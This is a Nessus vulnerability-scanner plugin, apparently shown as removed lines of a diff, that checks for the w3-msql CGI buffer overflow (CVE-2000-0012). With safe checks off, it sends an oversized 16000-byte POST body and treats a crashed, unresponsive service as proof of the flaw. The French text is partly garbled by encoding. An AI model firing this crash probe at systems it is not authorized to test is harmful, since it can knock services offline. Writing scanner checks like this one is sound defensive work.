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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10296);
- script_bugtraq_id(898);
- script_version ("$Revision: 1.22 $");
- script_cve_id("CVE-2000-0012");
-
- name["english"] = "w3-msql overflow";
- name["francais"] = "DΘpassement de buffer dans w3-msql";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- The mini-sql program comes with the w3-msql CGI which is vulnerable
- to a buffer overflow.
-
- An attacker may use it to gain a shell on this system.
-
- Solution : contact the vendor of mini-sql (http://www.hugues.com.au)
- and ask for a patch. Meanwhile, remove w3-msql from
- /cgi-bin
-
- Risk factor : High";
-
-
- desc["francais"] = "
- Le programme mini-sql est installΘ avec le CGI
- w3-msql qui est vulnΘrable α un dΘpassement de buffer.
-
- Un pirate peut utiliser ce problΦme pour obtenir
- un shell sur ce systΦme.
-
- Solution : contactez le vendeur de mini-sql (http://hugues.com.au)
- et demandez un patch. Pendant ce temps, retirez w3-msql
- de /cgi-bin
-
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Overflow in w3-msql";
- summary["francais"] = "Overflow dans w3-msql";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
- flag = 0;
- cgi = "w3-msql/index.html";
-
- foreach dir (cgi_dirs())
- {
- if(is_cgi_installed_ka(port:port, item:string(dir, "/", cgi)))
- {
- flag = 1;
- directory = dir;
- break;
- }
- }
-
- if(!flag)exit(0);
-
-
- if(safe_checks())
- {
- data = "
- Some versions of the mini-sql program comes with a
- w3-msql CGI which is vulnerable to a buffer overflow.
-
- An attacker may use it to gain a shell on this system.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : contact the vendor of mini-sql (http://hugues.com.au)
- and ask for a patch. Meanwhile, remove w3-msql from
- /cgi-bin
-
- Risk factor : High";
-
- security_hole(port:port, data:data);
- exit(0);
- }
-
-
-
- s = "POST " + directory + "/w3-msql/index.html HTTP/1.0\r\n" +
- "Connection: Keep-Alive\r\n" +
- "User-Agent: Nessus\r\n" +
- "Host: "+get_host_name()+"\r\n"+
- "Accept: image/gif, image/x-xbitmap, */*\r\n" +
- "Accept-Language: en\r\n" +
- "Content-type: multipart/form-data\r\n" +
- "Content-length: 16000\r\n";
- s2 = crap(16000);
- s3 = s+s2;
- s3 = string(s3);
- s3 = s3 + string("\r\n\r\n");
- soc = open_sock_tcp(port);
- if(soc)
- {
- send(socket:soc, data:s3);
- b = http_recv(socket:soc);
- if(!b)security_hole(port);
- close(soc);
- }
-
-
-
-